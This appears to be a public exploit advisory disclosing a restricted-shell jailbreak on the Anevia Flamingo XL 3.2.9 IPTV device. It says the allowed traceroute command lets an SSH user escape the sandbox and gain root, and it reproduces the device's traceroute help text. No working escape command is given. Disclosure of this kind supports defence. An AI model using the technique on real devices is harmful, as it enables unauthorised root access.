Exploit Title: Anevia Flamingo XL 3.2.9 - Remote Root Jailbreak
Exploit Author: LiquidWorm
Product web page: https://www.ateme.com
Affected version: 3.2.9
                  Hardware revision 1.0
                  SoapLive 2.0.3

Summary: Flamingo XL, a new modular and high-density IPTV head-end
product for hospitality and corporate markets. Flamingo XL captures
live TV and radio content from satellite, cable, digital terrestrial
and analog sources before streaming it over IP networks to STBs, PCs
or other IP-connected devices. The Flamingo XL is based upon a modular
4U rack hardware platform that allows hospitality and corporate video
service providers to deliver a mix of channels from various sources
over internal IP networks.

Desc: Once the admin establishes a secure shell session, she gets
dropped into a sandboxed environment using the login binary that
allows specific set of commands. One of those commands that can be
exploited to escape the jailed shell is traceroute. A remote attacker
can breakout of the restricted environment and have full root access
to the device.

Tested on: GNU/Linux 3.1.4 (x86_64)
           Apache/2.2.15 (Unix)
           mod_ssl/2.2.15
           OpenSSL/0.9.8g
           DAV/2
           PHP/5.3.6

Usage: traceroute [-FIldnrv] [-f 1st_ttl] [-m max_ttl] [-p port#] [-q nqueries]
        [-s src_addr] [-t tos] [-w wait] [-g gateway] [-i iface]
        [-z pausemsecs] host [data size]

trace the route ip packets follow going to "host"
Options:
        -F      Set the don't fragment bit
        -I      Use ICMP ECHO instead of UDP datagrams
        -l      Display the ttl value of the returned packet
        -d      Set SO_DEBUG options to socket
        -n      Print hop addresses numerically rather than symbolically
        -r      Bypass the normal routing tables and send directly to a host
        -v      Verbose output
        -m max_ttl      Set the max time-to-live (max number of hops)
        -p port#        Set the base UDP port number used in probes
                (default is 33434)
        -q nqueries     Set the number of probes per ``ttl'' to nqueries
                (default is 3)
        -s src_addr     Use the following IP address as the source address
        -t tos  Set the type-of-service in probe packets to the following value
                (default 0)
        -w wait Set the time (in seconds) to wait for a response to a probe
                (default 3 sec)
        -g      Specify a loose source route gateway (8 maximum)
